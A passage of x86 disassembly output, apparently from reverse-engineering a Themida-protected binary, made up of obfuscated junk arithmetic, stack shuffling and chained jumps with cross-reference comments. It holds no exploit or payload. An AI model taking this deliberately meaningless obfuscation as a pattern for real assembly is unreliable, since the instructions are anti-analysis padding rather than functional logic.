pop eax push ecx mov ecx, 2 add ebx, ecx push dword ptr [esp] pop ecx push edx mov edx, esp jmp loc_5AE4B2 ; --------------------------------------------------------------------------- loc_59B5A8: ; CODE XREF: Themida_:005A2EC1j sub esi, 69FC25C2h add esi, ebp add esi, 69FC25C2h pop ebp jmp loc_59BE5D ; --------------------------------------------------------------------------- loc_59B5BC: ; CODE XREF: Themida_:005A72B6j shl ecx, 3 jmp loc_5A6A18 ; --------------------------------------------------------------------------- loc_59B5C4: ; CODE XREF: Themida_:005ABEBEj add al, dl add al, 15h jmp loc_5A946B ; --------------------------------------------------------------------------- loc_59B5CD: ; CODE XREF: Themida_:005AC31Aj sub eax, ebx pop ebx sub ecx, 9470C21h add ecx, eax jmp loc_5A0BC5 ; --------------------------------------------------------------------------- loc_59B5DD: ; CODE XREF: Themida_:005AB96Cj jmp loc_59ABC4 ; --------------------------------------------------------------------------- loc_59B5E2: ; CODE XREF: Themida_:0059937Ej push ebp mov ebp, 3DC45B0Dh jmp loc_59D921 ; --------------------------------------------------------------------------- loc_59B5ED: ; CODE XREF: Themida_:0059E06Fj mov edx, [esp] add esp, 4 shl edi, 4 not edi add edi, 1 jmp loc_59BF1B ; --------------------------------------------------------------------------- loc_59B606: ; CODE XREF: Themida_:005AE45Bj push dword ptr [esp] pop ebx sub esp, 4 mov [esp], edx jmp loc_5A1C57 ; --------------------------------------------------------------------------- loc_59B615: ; CODE XREF: Themida_:0059E856j shr ebx, 8 or ebx, 6A7828A1h jb loc_5A9B55 xor ebx, 4B3342CFh add ebx, edx pop edx add ebx, 78E12E85h jnb loc_5A809C add ebx, 4E48687Eh jp loc_5A58CF loc_59B645: ; CODE XREF: Themida_:005A32F0j mov [esp], ecx jmp loc_5A8679 ; --------------------------------------------------------------------------- loc_59B64D: ; CODE XREF: Themida_:0059A146j push 19E3h jmp loc_5A73F7 ; --------------------------------------------------------------------------- loc_59B657: ; CODE XREF: Themida_:00598DAAj jmp loc_59C47C ; --------------------------------------------------------------------------- loc_59B65C: ; CODE XREF: Themida_:005AA5F6j and eax, 10391EF8h jmp loc_5AC31F ; --------------------------------------------------------------------------- loc_59B666: ; CODE XREF: Themida_:005A0964j ; Themida_:005A9631j xor ecx, 0F48B0711h add ebx, ecx pop ecx add ebx, 4 xchg ebx, [esp] pop esp pop dword ptr [esp] pop esp push esi mov esi, 4 sub eax, 5EA87241h add eax, 30725391h add eax, esi sub eax, 30725391h add eax, 5EA87241h jmp loc_5A38E7 ; --------------------------------------------------------------------------- loc_59B69B: ; CODE XREF: Themida_:0059BCF6j pop esi add esp, 4 pop dword ptr [esp] mov esp, [esp] push 4EF1h mov [esp], eax jmp loc_5A528B ; --------------------------------------------------------------------------- loc_59B6B5: ; CODE XREF: Themida_:005A403Dj xor [esp], edx xor edx, [esp] pop esp mov [esp], edx mov edx, 2EEA032Fh jmp loc_5AE971 ; --------------------------------------------------------------------------- loc_59B6C9: ; CODE XREF: Themida_:0059CB07j mov edi, [esp] add esp, 4 push 525Bh mov [esp], ebx mov ebx, 7C8818A3h and ecx, ebx mov ebx, [esp] add esp, 4 push esi push 5A8h jmp loc_5990DA ; --------------------------------------------------------------------------- loc_59B6F5: ; CODE XREF: Themida_:loc_598E5Cj ; Themida_:0059A049j add edx, ebp sub edx, 7C6612CAh mov ebp, [esp] jmp loc_5A488B ; --------------------------------------------------------------------------- loc_59B705: ; CODE XREF: Themida_:005A172Cj shl eax, 2 jnp loc_5A6975 neg eax jmp loc_59D11B ; --------------------------------------------------------------------------- add ebx, edi push ebp loc_59B718: ; CODE XREF: Themida_:005990E5j add esp, 4 inc ebp jmp loc_59B826 ; --------------------------------------------------------------------------- loc_59B724: ; CODE XREF: Themida_:005A343Cj add di, 1 push 5C28h mov [esp], ecx mov cx, 3E03h xor cx, 0E7Eh shl cx, 3 and cx, 41B7h dec cx add cx, 1ABh add di, cx mov ecx, [esp] add esp, 4 jmp loc_5ADDA1 ; --------------------------------------------------------------------------- loc_59B757: ; CODE XREF: Themida_:00598FC8j add esp, 4 jmp loc_5A683D ; --------------------------------------------------------------------------- loc_59B762: ; CODE XREF: Themida_:005A8B59j add dword ptr [esp+4], 40FC14DFh mov ebp, [esp] add esp, 4 sub esp, 4 mov [esp], edx mov edx, 11DE6264h jmp loc_599170 ; --------------------------------------------------------------------------- loc_59B780: ; CODE XREF: Themida_:0059E647j add esi, ecx pop ecx add esi, 4 sub esp, 4 mov [esp], esi push dword ptr [esp+4] pop esi pop dword ptr [esp] pop esp push ebp sub esp, 4 mov [esp], esp push eax mov eax, 4 add [esp+4], eax pop eax mov ebp, [esp] add esp, 4 push esi mov esi, 2C376618h jmp loc_59F8E3 ; --------------------------------------------------------------------------- loc_59B7BB: ; CODE XREF: Themida_:0059F51Cj ; Themida_:005A57C0j push ecx pop edx pop ecx jmp loc_5AA9E5 ; --------------------------------------------------------------------------- loc_59B7C3: ; CODE XREF: Themida_:0059AB36j add bh, 0D6h jmp loc_5AD177 ; --------------------------------------------------------------------------- loc_59B7CB: ; CODE XREF: Themida_:005AEF4Cj xor ebx, eax jmp loc_59900B ; --------------------------------------------------------------------------- loc_59B7D2: ; CODE XREF: Themida_:0059C606j mov [esp], edx push eax pushf jmp loc_59D44D ; --------------------------------------------------------------------------- loc_59B7DC: ; CODE XREF: Themida_:005A20F5j pop dword ptr [esp] jmp loc_5A37AC ; --------------------------------------------------------------------------- loc_59B7E4: ; CODE XREF: Themida_:005ABA11j ; Themida_:005AEA50j mov ecx, [esp] push esi push esp jmp loc_5A650C ; --------------------------------------------------------------------------- loc_59B7EE: ; CODE XREF: Themida_:0059F280j sub al, bl sub al, 0C3h sub al, 85h sub al, 9 jmp loc_59BEDE ; --------------------------------------------------------------------------- loc_59B7FB: ; CODE XREF: Themida_:005A1935j ; Themida_:005A7D66j not ebp inc ebp add ebp, 76F2595Ch add ebp, 88B2005h add edx, ebp jmp loc_5ADC8A ; --------------------------------------------------------------------------- loc_59B811: ; CODE XREF: Themida_:005A41EBj neg esi jle loc_5A9355 add esi, 0DF8AB5EDh jmp loc_5A27A7 ; --------------------------------------------------------------------------- sub esi, edi loc_59B826: ; CODE XREF: Themida_:0059B71Fj sub ebp, 601F84B5h mov esi, ebp pop ebp add ecx, esi jmp loc_5AE56A ; --------------------------------------------------------------------------- loc_59B836: ; CODE XREF: Themida_:0059D610j pop esp push small 1675h mov [esp], cx sub esp, 2 jmp loc_5A24EF ; --------------------------------------------------------------------------- loc_59B847: ; CODE XREF: Themida_:0059FB9Bj shl cx, 2 jmp loc_5AE5A3 ; --------------------------------------------------------------------------- loc_59B850: ; CODE XREF: Themida_:005ADD0Cj push ebp mov ebp, 4 add edx, ebp pop ebp jmp loc_5A39DD ; --------------------------------------------------------------------------- loc_59B85E: ; CODE XREF: Themida_:005A2C05j xor eax, ebx push dword ptr [esp] mov ebx, [esp] add esp, 4 push eax push esp pop eax push ebx mov ebx, 4 jmp loc_5AB518 ; --------------------------------------------------------------------------- loc_59B877: ; CODE XREF: Themida_:0059ABE5j sub eax, 6E65035Eh add eax, ebp add eax, 6E65035Eh push dword ptr [esp] push dword ptr [esp] pop ebp jmp loc_59D11B ; --------------------------------------------------------------------------- loc_59B88F: ; CODE XREF: Themida_:005AF016j add ecx, 4 add ecx, 4 jmp loc_5ACC99 ; --------------------------------------------------------------------------- loc_59B8A0: ; CODE XREF: Themida_:0059BED9j pop ebp push edx jmp loc_5A06E3 ; --------------------------------------------------------------------------- loc_59B8A7: ; CODE XREF: Themida_:005A3428j sub ebp, 1ED236EFh add ebp, edi add ebp, 1ED236EFh jmp loc_59E3C3 ; --------------------------------------------------------------------------- loc_59B8BA: ; CODE XREF: Themida_:005A798Cj push esi push ebp mov ebp, 4A4F5EB0h add ebp, 0FFFFFFFFh push ecx jmp loc_5AC09B ; --------------------------------------------------------------------------- loc_59B8CA: ; CODE XREF: Themida_:005A4EFEj push dword ptr [esp+4] pop esi pop dword ptr [esp] pop esp shr ecx, 0 or eax, eax jz loc_5A593A push ebp jmp loc_5A0D7F ; --------------------------------------------------------------------------- loc_59B8E4: ; CODE XREF: Themida_:005A4519j sub dh, 17h add dh, al add dh, 17h pop eax sub esp, 4 jmp loc_5A6392 ; --------------------------------------------------------------------------- loc_59B8F5: ; CODE XREF: Themida_:005AD92Dj jmp loc_5AB5C6 ; --------------------------------------------------------------------------- loc_59B8FA: ; CODE XREF: Themida_:0059C613j mov [esp], ecx push edi jmp loc_5AB614 ; --------------------------------------------------------------------------- loc_59B903: ; CODE XREF: Themida_:005AA8C5j push 4A62h mov [esp], eax mov eax, 1E662D07h shl eax, 1 jns loc_5A3F60 jmp loc_598510 ; --------------------------------------------------------------------------- push ebx jmp loc_599EBE ; --------------------------------------------------------------------------- db 89h, 0D2h ; --------------------------------------------------------------------------- pop eax loc_59B926: ; CODE XREF: Themida_:0059B193j push ecx mov ecx, esp add ecx, 4 add ecx, 4 xor ecx, [esp] jmp loc_59F4E4 ; --------------------------------------------------------------------------- loc_59B93A: ; CODE XREF: Themida_:0059B2DBj pop ecx mov eax, [esp] push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp add esi, 2 xchg esi, [esp] pop esp jmp loc_59D615 ; --------------------------------------------------------------------------- loc_59B95D: ; CODE XREF: Themida_:005A2807j add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp jmp loc_5A3F53 ; --------------------------------------------------------------------------- loc_59B972: ; CODE XREF: Themida_:005A9CCBj shl eax, 2 sub eax, 8F1FFD7Ch add edx, eax pop eax xor edx, [esp] xor [esp], edx jmp loc_5A4223 ; --------------------------------------------------------------------------- loc_59B988: ; CODE XREF: Themida_:0059C77Ej xchg edi, [esp] pop esp sub esp, 4 mov [esp], eax push esp pop eax add eax, 4 add eax, 4 xchg eax, [esp] mov esp, [esp] push 55B5h mov [esp], edi push esp jmp loc_5A54B9 ; --------------------------------------------------------------------------- loc_59B9B0: ; CODE XREF: Themida_:0059BDA3j push ebp mov ebp, esp sub esp, 4 mov [esp], edx mov edx, 0B487AA8h inc edx and edx, 5AAC3C52h jmp loc_5A4F98 ; --------------------------------------------------------------------------- loc_59B9CD: ; CODE XREF: Themida_:005ABFE0j mov [esp], ebx mov ebx, 56BA5D5Ch xor edx, ebx pop ebx jmp loc_59CC4E ; --------------------------------------------------------------------------- loc_59B9DD: ; CODE XREF: Themida_:005A0B43j pop esi mov ebx, [esp] jmp loc_59C60B ; --------------------------------------------------------------------------- loc_59B9E6: ; CODE XREF: Themida_:005A33AAj mov esi, 35EA016Bh add eax, esi pop esi sub esp, 4 mov [esp], edx sub esp, 4 mov [esp], ebp jmp loc_59D970 ; --------------------------------------------------------------------------- loc_59BA05: ; CODE XREF: Themida_:005A4E1Cj push ebx mov ebx, 79F81F44h jmp loc_59C9E2 ; --------------------------------------------------------------------------- loc_59BA10: ; CODE XREF: Themida_:005A73A0j push dword ptr [esp] pop ebp sub esp, 4 mov [esp], ecx jmp loc_5AC106 ; --------------------------------------------------------------------------- loc_59BA1F: ; CODE XREF: Themida_:0059EA71j pop eax add ebp, edi jmp loc_59B2A8 ; --------------------------------------------------------------------------- loc_59BA27: ; CODE XREF: Themida_:0059B397j push edx jmp loc_5A538C ; --------------------------------------------------------------------------- loc_59BA2D: ; CODE XREF: Themida_:005A9520j jmp loc_59BE6A ; --------------------------------------------------------------------------- loc_59BA32: ; CODE XREF: Themida_:0059EE34j add esi, 32D12A09h add esi, 70DF078Ch pop ecx push esi push dword ptr [esp+4] pop esi pop dword ptr [esp] mov esp, [esp] jmp loc_59E7EF ; --------------------------------------------------------------------------- loc_59BA50: ; CODE XREF: Themida_:0059A7D6j xor ecx, 6CA9213Fh sub esi, ecx pop ecx add esi, 6F4F4F2Ah push 11E1h mov [esp], ebp mov ebp, 1CF23BE8h add esi, ebp mov ebp, [esp] jmp loc_59E611 ; --------------------------------------------------------------------------- loc_59BA76: ; CODE XREF: Themida_:loc_5AE370j sub bh, 3Ch push ecx mov ch, bh mov dl, ch pop ecx jmp loc_5A6595 ; --------------------------------------------------------------------------- loc_59BA84: ; CODE XREF: Themida_:005AB4F0j mov edx, 0C7A5320h mov edi, edx pop edx sub esp, 4 mov [esp], ebp mov ebp, 7D4FD23Dh jmp loc_5A82A1 ; --------------------------------------------------------------------------- loc_59BA9C: ; CODE XREF: Themida_:005AE96Cj pop ebx add ebx, 4 sub ebx, 4 push ebx push dword ptr [esp+4] pop ebx pop dword ptr [esp] jmp loc_5AB6B3 ; --------------------------------------------------------------------------- loc_59BAB7: ; CODE XREF: Themida_:005A5C72j pop edx sub esp, 4 mov [esp], esi push ebp mov ebp, 4ABB52C8h jmp loc_5A09BA ; --------------------------------------------------------------------------- loc_59BACC: ; CODE XREF: Themida_:005A4679j sub esp, 4 mov [esp], edi jmp loc_5A3F1D ; --------------------------------------------------------------------------- loc_59BAD7: ; CODE XREF: Themida_:0059A6E9j ; Themida_:loc_5A3E4Cj ... mov esp, [esp] push 14A4h mov [esp], edi mov edi, esp push ebp push edx mov edx, 4 mov ebp, edx mov edx, [esp] push ebx mov ebx, esp push edi jmp loc_599776 ; --------------------------------------------------------------------------- loc_59BAF9: ; CODE XREF: Themida_:loc_5AA5CAj sub eax, 8F87E65Bh mov ebp, eax pop eax push ebx push eax jmp loc_5A77F8 ; --------------------------------------------------------------------------- loc_59BB08: ; CODE XREF: Themida_:0059DD48j push dword ptr [esp] jmp loc_59A437 ; --------------------------------------------------------------------------- loc_59BB10: ; CODE XREF: Themida_:005A75BCj sub dword ptr [esp], 413D074Eh sub [esp], esi jmp loc_5A5790 ; --------------------------------------------------------------------------- loc_59BB1F: ; CODE XREF: Themida_:005AC112j push dword ptr [esp+4] pop ecx pop dword ptr [esp] mov esp, [esp] add ebp, 4 push eax mov eax, 4 add ebp, eax pop eax xchg ebp, [esp] pop esp jmp loc_5AABF3 ; --------------------------------------------------------------------------- loc_59BB42: ; CODE XREF: Themida_:005A7101j and edx, 213370EAh jnp loc_5AC327 xor edx, 50F478D0h jge loc_5A4E69 jmp loc_599954 ; --------------------------------------------------------------------------- push esi push edx xor bl, 0DFh push edx loc_59BB65: ; CODE XREF: Themida_:005AEACBj pop ebp sub ebp, 600424D3h jmp loc_5AAD22 ; --------------------------------------------------------------------------- loc_59BB71: ; CODE XREF: Themida_:005A9D3Fj add esp, 4 or ebp, 5D9E50C8h jmp loc_59DFBB ; --------------------------------------------------------------------------- loc_59BB7F: ; CODE XREF: Themida_:loc_5AA2FDj shl edi, 5 jns loc_59F050 add edi, 78A76C24h push edi pop ebp pop edi sub edx, ebp pop ebp xor edx, [esp] jmp loc_5A5D48 ; --------------------------------------------------------------------------- loc_59BB9C: ; CODE XREF: Themida_:005A0C18j xchg ebx, [esp] jmp loc_59995F ; --------------------------------------------------------------------------- loc_59BBA4: ; CODE XREF: Themida_:005A152Fj xor al, 89h jnp loc_59876E push 5DB3h mov [esp], edx mov dh, 0CEh loc_59BBB6: ; CODE XREF: Themida_:0059A432j xchg ebp, esi jmp loc_59DA50 ; --------------------------------------------------------------------------- loc_59BBBD: ; CODE XREF: Themida_:0059A030j pop eax jmp loc_59A3CB ; --------------------------------------------------------------------------- loc_59BBC3: ; CODE XREF: Themida_:005A648Ej mov [esp], ebx mov ebx, esp jmp loc_59C997 ; --------------------------------------------------------------------------- loc_59BBCD: ; CODE XREF: Themida_:005A778Fj jmp loc_59838C ; --------------------------------------------------------------------------- loc_59BBD2: ; CODE XREF: Themida_:00599C27j add ebx, 2 jmp loc_5AA8FF ; --------------------------------------------------------------------------- loc_59BBDD: ; CODE XREF: Themida_:005A3319j sub ebp, edx pop edx jmp loc_5A8BDF ; --------------------------------------------------------------------------- loc_59BBE5: ; CODE XREF: Themida_:005A9422j push dword ptr [esp] pop ebx push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp push ecx mov ecx, esp push ebp mov ebp, 46811CD3h xor ebp, 710E305Ah or ebp, 688C789Dh jmp loc_5A0FB8 ; --------------------------------------------------------------------------- loc_59BC13: ; CODE XREF: Themida_:005A7A86j mov ebp, 0C69BE685h sub ebx, ebp pop ebp mov esi, ebx pop ebx dec esi xor esi, 63433E7Eh jmp loc_5A4B2F ; --------------------------------------------------------------------------- loc_59BC2A: ; CODE XREF: Themida_:0059A8A7j ; Themida_:005AC6E0j pop esi jmp loc_5AAF88 ; --------------------------------------------------------------------------- loc_59BC30: ; CODE XREF: Themida_:00598B3Dj pop eax xor edx, [esp] jmp loc_5A5277 ; --------------------------------------------------------------------------- loc_59BC39: ; CODE XREF: Themida_:005A6A0Dj pop ecx jmp loc_5A1E48 ; --------------------------------------------------------------------------- loc_59BC3F: ; CODE XREF: Themida_:005A1E43j mov [esp], dx push ax pushf jmp loc_5A3A73 ; --------------------------------------------------------------------------- loc_59BC4B: ; CODE XREF: Themida_:005AEDA4j sub eax, ebx pop ebx jmp loc_5A00BA ; --------------------------------------------------------------------------- loc_59BC53: ; CODE XREF: Themida_:0059EDCEj xor bl, 19h jmp loc_5A2B5A ; --------------------------------------------------------------------------- loc_59BC5B: ; CODE XREF: Themida_:005A568Dj sub ebx, ecx push eax mov eax, 2A7E6F90h jmp loc_5A14C1 ; --------------------------------------------------------------------------- loc_59BC68: ; CODE XREF: Themida_:0059C466j sub ecx, edx pop edx add ebx, ecx mov ecx, [esp] sub esp, 4 jmp loc_5AC816 ; --------------------------------------------------------------------------- loc_59BC78: ; CODE XREF: Themida_:005A8553j mov cx, [esp] jmp loc_5A66FD ; --------------------------------------------------------------------------- loc_59BC81: ; CODE XREF: Themida_:005A9668j xchg edx, [esp] pop esp mov [esp], ebx sub esp, 4 push esp pop dword ptr [esp] add dword ptr [esp], 4 push dword ptr [esp] pop ebx add esp, 4 jmp loc_5ADDCC ; --------------------------------------------------------------------------- loc_59BCA8: ; CODE XREF: Themida_:005AA7F4j pop ebp add esi, 1 add esi, 0FC85533Dh or ebx, esi push dword ptr [esp] pop esi jmp loc_599A70 ; --------------------------------------------------------------------------- loc_59BCBD: ; CODE XREF: Themida_:005A99EAj push ebx sub esp, 4 mov [esp], edi mov edi, 10EE1A8Eh jmp loc_5A57D0 ; --------------------------------------------------------------------------- loc_59BCCE: ; CODE XREF: Themida_:005ADF14j add edx, 4 add edx, 4 xchg edx, [esp] pop esp pop eax jmp loc_5AAA9F ; --------------------------------------------------------------------------- loc_59BCE1: ; CODE XREF: Themida_:0059FF49j add esi, 4 push 0F65h mov [esp], esi push dword ptr [esp+4] push dword ptr [esp] jmp loc_59B69B ; --------------------------------------------------------------------------- loc_59BCFB: ; CODE XREF: Themida_:005ACFF8j mov [esp], ebx jmp loc_5A5E76 ; --------------------------------------------------------------------------- loc_59BD03: ; CODE XREF: Themida_:005AB2C2j pop edi pop dword ptr [esp] pop esp add ebp, 5D683B67h add ebp, esi sub ebp, 5D683B67h pop esi jmp loc_5ACE70 ; --------------------------------------------------------------------------- loc_59BD1C: ; CODE XREF: Themida_:005AA448j mov ebp, 40A11D27h add ebp, 4A444ECFh dec ebp add ebp, 29984DCEh sub esi, 1A85B64h jmp loc_5A6AAC ; --------------------------------------------------------------------------- loc_59BD39: ; CODE XREF: Themida_:005A71F5j sub ecx, ebp sub ecx, 7A723ED9h pop ebp push dword ptr [esp] pop ebp add esp, 4 add ecx, 2 xchg ecx, [esp] mov esp, [esp] btc [esp], ax pushf jmp loc_59838C ; --------------------------------------------------------------------------- loc_59BD60: ; CODE XREF: Themida_:00599F24j pop ecx add al, 9 push ebx mov bh, 0FAh push ecx mov cl, dh mov dh, bh mov bh, cl pop ecx jmp loc_5A89DB ; --------------------------------------------------------------------------- loc_59BD73: ; CODE XREF: Themida_:00598BF1j mov ebp, esp add ebp, 4 sub ebp, 4 jmp loc_5A7171 ; --------------------------------------------------------------------------- loc_59BD83: ; CODE XREF: Themida_:0059D3F0j shr edx, 1 cmp eax, edx jz loc_5A4BF8 push 1BF0h mov [esp], esi push 74B67E40h jmp loc_5AA195 ; --------------------------------------------------------------------------- loc_59BD9F: ; CODE XREF: Themida_:005A20E6j push dword ptr [esp] pop edx jmp loc_59B9B0 ; --------------------------------------------------------------------------- dd 83242489h, 8F042404h, 38E92404h ; --------------------------------------------------------------------------- push es add [eax], eax loc_59BDB7: ; CODE XREF: Themida_:005A2DA3j mov ebx, [esp] push ebp mov ebp, esp add ebp, 4 add ebp, 4 push ebp push dword ptr [esp+4] pop ebp pop dword ptr [esp] pop esp push edi mov edi, 41D81718h xchg edx, edi not edx xchg edx, edi inc edi add edi, 4A35448Ch sub edi, 1 not edi push 3155h mov [esp], ecx mov ecx, 0C02BE50Bh xor edi, ecx jmp loc_5A0D64 ; --------------------------------------------------------------------------- loc_59BDFF: ; CODE XREF: Themida_:0059AEFAj add esp, 4 shl esi, 2 jmp loc_5A228B ; --------------------------------------------------------------------------- loc_59BE0D: ; CODE XREF: Themida_:005A5F8Cj add edx, 0FFFFFFFFh xor edx, 0BDF0A64Ah sub esi, 390D4B80h add esi, edx push edi jmp loc_5A2B11 ; --------------------------------------------------------------------------- loc_59BE24: ; CODE XREF: Themida_:loc_5AD718j sub esp, 4 mov [esp], edi push edx jmp loc_5AC945 ; --------------------------------------------------------------------------- loc_59BE30: ; CODE XREF: Themida_:005AC9BFj shl eax, 3 jmp loc_5A6D1E ; --------------------------------------------------------------------------- loc_59BE38: ; CODE XREF: Themida_:0059EC2Dj mov ebp, esp push edi push esi mov esi, 6EBD30B8h mov edi, esi pop esi add edi, 25CB6153h jmp loc_5AC0C9 ; --------------------------------------------------------------------------- loc_59BE4F: ; CODE XREF: Themida_:loc_5A252Aj xor edx, 5DF51856h shr edx, 5 jmp loc_5A399C ; --------------------------------------------------------------------------- loc_59BE5D: ; CODE XREF: Themida_:0059B5B7j push 6D8Bh mov [esp], ebx jmp loc_59E38F ; --------------------------------------------------------------------------- loc_59BE6A: ; CODE XREF: Themida_:loc_59BA2Dj neg ecx add ecx, 0F4B82E1Bh push ecx pop eax jmp loc_5A2931 ; --------------------------------------------------------------------------- loc_59BE79: ; CODE XREF: Themida_:005A1638j add ecx, 74A14380h sub ecx, edi sub ecx, 74A14380h jmp loc_5A898B ; --------------------------------------------------------------------------- loc_59BE8C: ; CODE XREF: Themida_:005991E8j xor esi, 7BA57C72h jmp loc_5A6D0C ; --------------------------------------------------------------------------- loc_59BE97: ; CODE XREF: Themida_:loc_5A2007j shl edi, 6 jmp loc_598D80 ; --------------------------------------------------------------------------- loc_59BE9F: ; CODE XREF: Themida_:0059D9EEj ; Themida_:005A661Ej mov ch, al jmp loc_5A02FC ; --------------------------------------------------------------------------- loc_59BEA6: ; CODE XREF: Themida_:005A13D7j mov [esp], ecx sub esp, 4 mov [esp], edx push 1BC704C2h jmp loc_59D15C ; --------------------------------------------------------------------------- loc_59BEB9: ; CODE XREF: Themida_:005A8A8Bj and ebx, 40E45242h xor ebx, 22DB01FEh add edx, ebx jmp loc_5A3D56 ; --------------------------------------------------------------------------- loc_59BECC: ; CODE XREF: Themida_:0059ECEFj sub eax, 3C024B7Dh push ebp mov ebp, 77BA6F41h add eax, ebp jmp loc_59B8A0 ; --------------------------------------------------------------------------- loc_59BEDE: ; CODE XREF: Themida_:0059B7F6j sub al, 0CEh push 10CCh mov [esp], ebx mov ebx, esp add ebx, 4 sub ebx, 2 xchg ebx, [esp] pop esp mov [esp], dx push bx mov bl, 52h add bl, 0D8h sub bl, 0B0h jmp loc_5AD8EE ; --------------------------------------------------------------------------- loc_59BF0D: ; CODE XREF: Themida_:005A88F7j add ebx, 70FFFAEDh mov eax, ebx pop ebx jmp loc_59E694 ; --------------------------------------------------------------------------- loc_59BF1B: ; CODE XREF: Themida_:0059B601j push eax mov eax, 47AD59F1h sub eax, 550A1BC7h jmp loc_59EA61 ; --------------------------------------------------------------------------- loc_59BF2B: ; CODE XREF: Themida_:005A23A9j inc ebp push edx jmp loc_5AC1B1 ; --------------------------------------------------------------------------- loc_59BF32: ; CODE XREF: Themida_:00598D13j push eax jmp loc_5A3835 ; --------------------------------------------------------------------------- loc_59BF38: ; CODE XREF: Themida_:005A3FC0j push esp pop eax add eax, 4 push ecx push 2526h mov [esp], edx jmp loc_5AAD5A ; --------------------------------------------------------------------------- loc_59BF4D: ; CODE XREF: Themida_:005A7ADAj ; Themida_:005A8C57j mov [esp], ebx push ebp mov ebp, 3A88432Eh not ebp xor ebp, 44B011B5h xor ebp, 0F83F8E86h jmp loc_5A439C ; --------------------------------------------------------------------------- mov ax, [esp] push 63F2h jmp loc_5ABB09 ; --------------------------------------------------------------------------- loc_59BF77: ; CODE XREF: Themida_:005A43FCj pop edx mov bl, al mov eax, [esp] add esp, 4 jmp loc_5A726A ; --------------------------------------------------------------------------- mov cx, [esp] push 0FEAh jmp loc_5A9CE3 ; --------------------------------------------------------------------------- loc_59BF96: ; CODE XREF: Themida_:005AA56Fj sub esi, 506E9C70h xor edx, esi jmp loc_5ACC6F ; --------------------------------------------------------------------------- loc_59BFA3: ; CODE XREF: Themida_:005AE71Cj sub ebx, 30101C64h jmp loc_5ACCB9 ; --------------------------------------------------------------------------- loc_59BFAE: ; CODE XREF: Themida_:0059845Dj sub esp, 4 jmp loc_5A9AE3 ; --------------------------------------------------------------------------- loc_59BFB6: ; CODE XREF: Themida_:0059992Fj and ebx, 53D7629h xor ebx, 63F22948h ja loc_5A1EFF add ebx, 504C0EB8h mov bh, dh sub al, 1Bh loc_59BFD2: ; CODE XREF: Themida_:005A34ABj mov [esp], edx mov edx, esp jmp loc_5A8C3F ; --------------------------------------------------------------------------- loc_59BFDC: ; CODE XREF: Themida_:005A8207j pop ebx jmp loc_5AA0DC ; --------------------------------------------------------------------------- loc_59BFE2: ; CODE XREF: Themida_:005A9C13j and edx, 2EA45897h jb loc_5A6AE4 shr edx, 8 jp loc_5A0391 push ecx mov ecx, 66F601Ah inc ecx not ecx sub ecx, 0E8BA274Eh xor edx, ecx pop ecx dec edx push eax mov eax, 0FFFFFFFFh add edx, eax jmp loc_5A4C1C ; --------------------------------------------------------------------------- loc_59C017: ; CODE XREF: Themida_:005A1A7Dj add eax, 4 xchg eax, [esp] mov esp, [esp] sub esp, 4 mov [esp], eax mov eax, esp jmp loc_5A455E ; --------------------------------------------------------------------------- loc_59C02F: ; CODE XREF: Themida_:0059DF92j sub esp, 4 mov [esp], edi jmp loc_59D79D ; --------------------------------------------------------------------------- loc_59C03D: ; CODE XREF: Themida_:00598FF3j dec ebx jno loc_59DCA4 add ebx, 3CAFF774h mov esi, ebx pop ebx mov ch, 55h push esi loc_59C050: ; CODE XREF: Themida_:005AB07Ej add esp, 4 push edx mov edx, 79F823E2h sub eax, 96D02E4h add eax, edx add eax, 96D02E4h mov edx, [esp] add esp, 4 push 62EDh jmp loc_59E517 ; --------------------------------------------------------------------------- loc_59C07B: ; CODE XREF: Themida_:0059A5FDj sub esi, ebx jmp loc_5A3C19 ; --------------------------------------------------------------------------- loc_59C082: ; CODE XREF: Themida_:005AE2B4j push eax push ecx mov ecx, 1D330A26h mov eax, 5CC35310h xor eax, ecx pop ecx jmp loc_5A3958 ; --------------------------------------------------------------------------- loc_59C096: ; CODE XREF: Themida_:005AB2E9j mov ebx, 20BC0565h shr ebx, 2 push edx mov edx, 65855815h dec edx add edx, 27925012h not edx add edx, 0A2AEC5AEh add ebx, edx pop edx jmp loc_5AC60B ; --------------------------------------------------------------------------- loc_59C0BB: ; CODE XREF: Themida_:0059A480j ; Themida_:005AD933j add ebp, 1C40B24h xor ebp, 0B931F36h xor ebp, 0B1CE7D06h mov edi, ebp pop ebp sub edi, 2021FDEAh mov edx, edi mov edi, [esp] add esp, 4 push edi jmp loc_598682 ; --------------------------------------------------------------------------- loc_59C0E4: ; CODE XREF: Themida_:005A0BADj push 4F65h jmp loc_5A38CC ; --------------------------------------------------------------------------- loc_59C0EE: ; CODE XREF: Themida_:005A33F9j mov [esp], ebx jmp loc_5AC247 ; --------------------------------------------------------------------------- loc_59C0F6: ; CODE XREF: Themida_:005A35F0j add ebx, 4B0436E3h mov edi, [esp] add esp, 4 xor ebx, [esp] xor [esp], ebx xor ebx, [esp] jmp loc_5A9BB5 ; --------------------------------------------------------------------------- loc_59C110: ; CODE XREF: Themida_:loc_5A4856j push esi push 1A63h mov [esp], eax jmp loc_5A760F ; --------------------------------------------------------------------------- loc_59C11E: ; CODE XREF: Themida_:0059A8FDj mov esi, [esp] jmp loc_5A62D2 ; --------------------------------------------------------------------------- loc_59C126: ; CODE XREF: Themida_:005986D1j mov [esp], edx mov edx, 168B97B0h jmp loc_5ADCCD ; --------------------------------------------------------------------------- loc_59C133: ; CODE XREF: Themida_:0059CAE3j ; Themida_:005A9D4Aj jb loc_5A672E xor ebx, 187B5BD3h mov ebp, ebx pop ebx jmp loc_59AB70 ; --------------------------------------------------------------------------- loc_59C147: ; CODE XREF: Themida_:005AA5C5j neg ebp push esi mov esi, 2EC63049h or esi, 1DEF3BCFh xor esi, 74034F1Fh add ebp, esi pop esi jmp loc_5A4413 ; --------------------------------------------------------------------------- loc_59C163: ; CODE XREF: Themida_:0059DC05j shl edi, 1 not edi push ebp mov ebp, 178CB79h add edi, ebp mov ebp, [esp] jmp loc_5A61E6 ; --------------------------------------------------------------------------- loc_59C177: ; CODE XREF: Themida_:005AD628j add eax, edx mov edx, [esp] jmp loc_5A9B83 ; --------------------------------------------------------------------------- loc_59C181: ; CODE XREF: Themida_:0059F6BBj not edi push ecx jmp loc_5993DA ; --------------------------------------------------------------------------- loc_59C189: ; CODE XREF: Themida_:005A87F0j push edi push ebx mov ebx, 528F3F39h mov edi, ebx pop ebx mov ecx, 0E1D06FCh xor ecx, edi pop edi jmp loc_59A7DB ; --------------------------------------------------------------------------- 